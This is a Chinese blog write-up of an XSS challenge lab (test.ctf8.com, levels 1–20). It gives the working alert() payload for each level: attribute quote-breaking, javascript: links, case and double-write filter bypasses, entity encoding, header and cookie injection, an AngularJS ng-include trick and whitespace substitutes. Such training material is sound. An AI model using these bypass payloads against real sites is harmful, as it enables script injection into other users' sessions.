XSS 挑战赛
level 1
可以看到URL中的参数name被显示出来,直接把name参数构造为XSS语句即可。
1 | http://test.ctf8.com/level1.php?name=<script>alert()</script> |
level 2
看上去和 level 1 一样,先测试一下
1 | http://test.ctf8.com/level2.php?keyword=<script>alert()</script>&submit=%E6%90%9C%E7%B4%A2 |
发现没有用猜测是标签被转义解析为文本,再查看input标签,我们输入的语句也在这里的value中显示出来,我们可以尝试从这里进行利用。
使用"
把value的值进行闭合,再构造onclick事件进行alert(),最后用//
把后面的注释掉
1 | " onclick=alert('XSS') // |
这时候我们点击input框就能弹窗
level 3
和level 2 一样尝试下闭合value的值,无果,估计不是双引号闭合的方式
1 | "onclick=alert('xss') // |
但是发现把我输入的内容从'
处截断了,估计是'
闭合方式
1 | 'onclick=alert('xss') // |
level 4
怎么又换回来"
号了??原来是level 2 没有对<>
进行过滤,这里对其进行了过滤,可是我们的payload无需<>
1 | "onclick=alert('xss') // |
level 5
这里在on中间加入了_
来阻止我们触发事件,查看下源码
1 |
|
首先对keyword变量使用了strtolower()
函数转换,把所有字符转换为小写;接着过滤了<script>
,并替换为<scr_ipt>
;过滤了on
并替换为o_n
。因为on
是很多事件都包含的关键词,所以这里无法直接通过闭合引号在<input>
标签中来触发弹窗了,这个可以闭合双引号和标签,然后通过javascript:alert('XSS')
这种形式来触发弹窗。
1 | "><a href=javascript:alert('XSS') // |
可以看到在input框的后面多了个链接,点击就能触发XSS。
level 6
这里把herf
也过滤了,这样就无法使用javascript:alert()
这种方法来弹窗,查看源码:
1 |
|
可以发现这里少了level 5的strtolower()
,因此可以使用大小写绕过
1 | " Onclick=alert('XSS') // |
level 7
这里把我们的onclick
事件的on
给过滤了,尝试双写
1 | " oonnclick=alert('XSS') // |
回头看看源码:
1 |
|
果然是把关键词都替换为空格,一般这种情况都能直接双写绕过。
level 8
这里是将你输入的内容变成一个<a>
标签的href,尝试使用JavaScript伪协议,发现被类似level 6的加_
的方式过滤了,看看源码:
1 |
|
这里的过滤规则在level 7的基础上把strtolower()
也加上了,而且在input框里面还使用了htmlspecialchars()
对HTML标签进行转义,所以这里肯定是无法利用的。再看<a>
标签的里面的href是直接输出,而且没有过滤,直接输出在了双引号"
之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过。
1 | javascript:alert('XSS') // |
level 9
看上去和 level 8 差不多,但是尝试使用JavaScript伪协议好像被检测出来说链接不合法,那就先看看源码他是怎么检测的吧:
1 |
|
原来是在 level 8 的基础上对我们输入的内容查看是否有http://
这串字符,有的才输出,否则就说不合法,那好办,直接在payload后面加就行了
1 | javascript:alert('XSS') //http:// |
level 10
页面上没有能输入的地方,但是在前端页面隐藏了3个输入框,每个都尝试下能不能注入,发现t_sort
可以传入参数
那么我们就可以利用这里构造
1 | http://test.ctf8.com/level10.php?t_sort=" type="" onclick=alert('XSS') // |
level 11
发现这里多了个t_ref
的input
标签,而且原来的t_sort
似乎被转义了,无法利用,先看看源码:
1 |
|
由于$str
和$str00
都使用了htmlspecialchars()
函数对其进行转义,因此这里都无法进行利用。再看$str11
,它是从$_SERVER['HTTP_REFERER']
取值,然后直接作为t_ref
的值,很明显,我们可以直接构造 Rfeferer的值进行XSS攻击。
level 12
这一题和 level 11 本质上换汤不换药,从Referer换成了User-Agent即可,这里有个问题就是似乎成功注入之后会直接跳转到别的页面。
level 13
和前面两题一样,这次换成从cookie注入了,先抓包,发现t_cook
的值是cookie里面的user
那就直接构造cookie的user为我们的payload即可。
level 14
网页好像加载出问题了
level 15
1 | <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script> |
这题考察Angular JS
的ng-include
用法,具体可以参考这篇资料:AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
1 | level14.php?src="level1.php?name=<img src=x onerror=alert('XSS')>" |
level 16
只有这一个输出点,看看源码对传入的参数做了什么限制
1 |
|
这里过滤掉了script标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。
可以使用如下符号替代空格
符号 | URL编码 |
---|---|
回车(CR) | %0d |
换行(LF) | %0a |
空格 | %0c |
1 | ?keyword=<img%0Asrc="xss"%0Aonerror=alert()> |
level 17
URL传进去的参数会再<embed>
里显示,以个是在=
前面,一个是在=
后面,那我们是不是可以前一个作为事件名字,后一个作为事件执行的操作呢?
1 | ?arg01=onmouseover&arg02=alert(1) |
似乎多了个"
,吧"
去掉换成空格,即可
1 | ?arg01= onmouseover&arg02=alert(1) |
level 18
没发现和level 17 有啥区别,上题的payload也依然能用
1 | ?arg01= onmouseover&arg02=alert(1) |
level 19
现在的浏览器都不支持flash了,再学这个似乎也没意义,给了自己一个理由偷懒(主要是网上都没找到答案)
level 20
同上
参考资料
- Post title:XSS 挑战赛
- Post author:John_Frod
- Create time:2021-03-10 21:02:25
- Post link:https://keep.xpoet.cn/2021/03/10/XSS挑战赛/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.